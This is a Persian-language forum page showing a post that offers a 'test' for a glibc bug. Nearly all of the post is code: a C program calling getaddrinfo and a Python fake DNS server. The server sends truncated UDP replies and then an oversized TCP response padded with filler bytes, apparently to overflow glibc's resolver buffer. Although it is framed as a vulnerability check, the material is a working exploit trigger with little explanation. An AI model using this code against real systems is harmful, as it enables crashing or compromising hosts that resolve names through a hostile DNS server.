جستجو در تالارهای گفتگو
در حال نمایش نتایج برای برچسب های 'glibc'.
1 نتیجه پیدا شد
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با سلام. امروز اسکریپتی اوردم که میتوان تست کرد ایا سیستم شما باگ glibc دار دارد یا نه ؟؟ توجه:این اسکریپت فقط برای لینوکس هست!! این اسکریپت به دو زبان C & Python نوشته شده است. C: #include <sys/socket.h> #include <netdb.h> #include <err.h> #include <stdio.h> #include <string.h> int main(void) { struct addrinfo hints, *res; int r; memset(&hints, 0, sizeof(hints)); hints.ai_socktype = SOCK_STREAM; if ((r = getaddrinfo("foo.bar.google.com", "22", &hints, &res)) != 0) errx(1, "getaddrinfo: %s", gai_strerror(r)); return 0; } Python: import socket import time import struct import threading IP = '127.0.0.1' # Insert your ip for bind() here... ANSWERS1 = 184 terminate = False last_reply = None reply_now = threading.Event() def dw(x): return struct.pack('>H', x) def dd(x): return struct.pack('>I', x) def dl(x): return struct.pack('<Q', x) def db(x): return chr(x) def udp_thread(): global terminate # Handle UDP requests sock_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock_udp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock_udp.bind((IP, 53)) reply_counter = 0 counter = -1 answers = [] while not terminate: data, addr = sock_udp.recvfrom(1024) print '[UDP] Total Data len recv ' + str(len(data)) id_udp = struct.unpack('>H', data[0:2])[0] query_udp = data[12:] # Send truncated flag... so it retries over TCP data = dw(id_udp) # id data += dw(0x8380) # flags with truncated set data += dw(1) # questions data += dw(0) # answers data += dw(0) # authoritative data += dw(0) # additional data += query_udp # question data += '\x00' * 2500 # Need a long DNS response to force malloc answers.append((data, addr)) if len(answers) != 2: continue counter += 1 if counter % 4 == 2: answers = answers[::-1] time.sleep(0.01) sock_udp.sendto(*answers.pop(0)) reply_now.wait() sock_udp.sendto(*answers.pop(0)) sock_udp.close() def tcp_thread(): global terminate counter = -1 #Open TCP socket sock_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock_tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock_tcp.bind((IP, 53)) sock_tcp.listen(10) while not terminate: conn, addr = sock_tcp.accept() counter += 1 print 'Connected with ' + addr[0] + ':' + str(addr[1]) # Read entire packet data = conn.recv(1024) print '[TCP] Total Data len recv ' + str(len(data)) reqlen1 = socket.ntohs(struct.unpack('H', data[0:2])[0]) print '[TCP] Request1 len recv ' + str(reqlen1) data1 = data[2:2+reqlen1] id1 = struct.unpack('>H', data1[0:2])[0] query1 = data[12:] # Do we have an extra request? data2 = None if len(data) > 2+reqlen1: reqlen2 = socket.ntohs(struct.unpack('H', data[2+reqlen1:2+reqlen1+2])[0]) print '[TCP] Request2 len recv ' + str(reqlen2) data2 = data[2+reqlen1+2:2+reqlen1+2+reqlen2] id2 = struct.unpack('>H', data2[0:2])[0] query2 = data2[12:] # Reply them on different packets data = '' data += dw(id1) # id data += dw(0x8180) # flags data += dw(1) # questions data += dw(ANSWERS1) # answers data += dw(0) # authoritative data += dw(0) # additional data += query1 # question for i in range(ANSWERS1): answer = dw(0xc00c) # name compressed answer += dw(1) # type A answer += dw(1) # class answer += dd(13) # ttl answer += dw(4) # data length answer += 'D' * 4 # data data += answer data1_reply = dw(len(data)) + data if data2: data = '' data += dw(id2) data += 'B' * (2300) data2_reply = dw(len(data)) + data else: data2_reply = None reply_now.set() time.sleep(0.01) conn.sendall(data1_reply) time.sleep(0.01) if data2: conn.sendall(data2_reply) reply_now.clear() sock_tcp.shutdown(socket.SHUT_RDWR) sock_tcp.close() if __name__ == "__main__": t = threading.Thread(target=udp_thread) t.daemon = True t.start() tcp_thread() terminate = True
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- تست اسیبپذیری
- glibc
- (و 4 مورد دیگر)
